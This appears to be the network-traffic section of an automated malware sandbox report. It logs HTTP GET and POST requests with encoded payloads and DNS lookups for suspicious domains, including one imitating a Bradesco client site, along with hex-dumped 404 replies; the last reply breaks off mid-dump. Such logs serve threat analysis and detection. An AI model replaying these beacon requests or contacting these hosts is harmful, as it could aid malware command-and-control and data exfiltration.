Source: global traffic	HTTP traffic detected: GET /xsf1/?m8=721TkfhHN46HeBfP&MHZDTHg=/2dxOCr9e8Tu47VkPNo5dAI1prtgpWpDtJEt3c2Foz5fpzeoRIujBVjrDMsKHc70+0K9iVKA7vE9ZFCiM5OaHQ9FJ0pFhf/XXW3oapof9+b9s/jcWq68S+C05ai3yP+Fag== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.clientebradesco.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /12ts/?MHZDTHg=fK0TrVkIcECrXBt/QBT8PCmrckdVeV1vsNkWvaJ0XbQUSkAwNJoncWp26b1Q7HgZ6hy5g1l23+w5zEE84XOKO78C1JBbT4+4k1+SvQMP+iwoSoAbGtJFITlm6yZl6HBNXw==&m8=721TkfhHN46HeBfP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.myim.cloudUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ftud/?m8=721TkfhHN46HeBfP&MHZDTHg=CQmIz2bNYdnQtzE5dRZx19O+RKFjtfDUuZcFlqzFgfI5jfpPm1EP0eBYxBqCjdR2XMjWQLlFnnRrMqX4rM3bAk6hJ8rVDO8n3CpjeInC2PpnYB4d910sD/0oMC4edJRzog== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.d55dg.topUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mkan/?MHZDTHg=++BThBYRK05wjkBDkCMyqRU9EXa7XpQtL/1q1tE7a+KA1WWTK8ndyCrnLs1rj5YPQ184ZKAvPKam8uu94QVQlnoxyYMQ/CoARoRTEZylvaiatUE6PHz4hBbvUaTHyaHkPw==&m8=721TkfhHN46HeBfP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.fineg.onlineUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /kc69/?MHZDTHg=NmpF3EhDDWuD2jt+k/g095xLRHRyuzqtmyJn51mvGwf0ZsSxS3FqZkMY4E4Bhni9ZRnQKXdCwf/FxLiQBiKGNcTC3e2/WFeQ1r1lf08AeSNxqtZfuNHfso7Fe4LFqfY2Mw==&m8=721TkfhHN46HeBfP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.asian-massage-us.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /p6o9/?MHZDTHg=Zmr/YL1wBhH5EvOXWek0Ss4N+9SYg/Tcexp1DhQNUfR7ECek+Jud5GyO11J5h9itVrdZedwNG4+zKYxY7NG/zhQPgbZq8SnGCnwklmLK8GK6RzRHGkXrXeG9xuoq/9Gyzw==&m8=721TkfhHN46HeBfP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.qiluqiyuan.buzzUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /45sz/?m8=721TkfhHN46HeBfP&MHZDTHg=wkQ2jmS8yMxgRlKUPxXZOSJfy276TIgV39hMR0do1D6sDTDom055RMGGVlZFQUvdDVO+pgeKf5JaLn1AK40x/tSYSMAamA14mf1kJ7jyRRC6WiyMsI3Xnv4BkXKynB7mMQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.omexai.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr+x7luQNnrI8f3VjqE97lt7JSCdbE8JrYB0ARmCvuQ5PpqBCp66EiUa7dY4bjGHbWiFISykJbmA24D38d4U9gmj0KuNkWrH/Oj7BpqHw==&m8=721TkfhHN46HeBfP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeHost: www.dfbio.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.clientebradesco.online
Source: global traffic	DNS traffic detected: DNS query: www.myim.cloud
Source: global traffic	DNS traffic detected: DNS query: www.d55dg.top
Source: global traffic	DNS traffic detected: DNS query: www.arlon-commerce.com
Source: global traffic	DNS traffic detected: DNS query: www.fineg.online
Source: global traffic	DNS traffic detected: DNS query: www.asian-massage-us.xyz
Source: global traffic	DNS traffic detected: DNS query: www.thriveline.online
Source: global traffic	DNS traffic detected: DNS query: www.aflaksokna.com
Source: global traffic	DNS traffic detected: DNS query: www.esistiliya.online
Source: global traffic	DNS traffic detected: DNS query: www.qiluqiyuan.buzz
Source: global traffic	DNS traffic detected: DNS query: www.omexai.info
Source: global traffic	DNS traffic detected: DNS query: www.dfbio.net
Source: global traffic	DNS traffic detected: DNS query: www.healthsolutions.top

Source: unknown

HTTP traffic detected: POST /12ts/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-usConnection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0Content-Length: 208Host: www.myim.cloudOrigin: http://www.myim.cloudReferer: http://www.myim.cloud/12ts/User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36Data Raw: 4d 48 5a 44 54 48 67 3d 53 49 63 7a 6f 69 6f 46 65 45 79 56 62 51 39 67 56 68 57 45 54 6a 2f 44 65 48 31 73 63 6e 64 34 69 4d 45 48 7a 73 4e 64 52 65 38 6a 46 7a 55 46 42 2f 77 55 5a 57 38 52 6a 6f 30 38 38 55 68 34 36 30 4b 67 73 32 39 38 68 39 67 6f 7a 43 73 65 69 32 4f 6b 42 5a 5a 71 69 71 6f 49 48 71 65 69 77 77 6e 31 6f 44 46 51 35 51 70 70 4c 4b 67 42 66 64 42 32 64 78 51 68 7a 44 56 6f 36 31 6b 56 42 68 76 32 71 56 52 65 67 4e 6a 6b 66 36 4e 58 4f 2f 6c 56 37 69 6b 6d 62 4f 55 4d 52 74 39 2f 51 7a 47 66 30 4f 33 54 79 6f 4c 68 79 63 2f 46 48 59 62 55 67 36 32 32 30 72 51 74 4c 58 35 5a 78 6d 35 67 4e 74 30 3d Data Ascii: MHZDTHg=SIczoioFeEyVbQ9gVhWETj/DeH1scnd4iMEHzsNdRe8jFzUFB/wUZW8Rjo088Uh460Kgs298h9gozCsei2OkBZZqiqoIHqeiwwn1oDFQ5QppLKgBfdB2dxQhzDVo61kVBhv2qVRegNjkf6NXO/lV7ikmbOUMRt9/QzGf0O3TyoLhyc/FHYbUg6220rQtLX5Zxm5gNt0=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:42:16 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "668fe68e-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:42:19 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "668fe68e-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:42:21 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "668fe68e-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:42:24 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "668fe68e-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Sep 2024 08:42:43 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Sep 2024 08:42:46 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Sep 2024 08:42:48 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Sep 2024 08:42:51 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 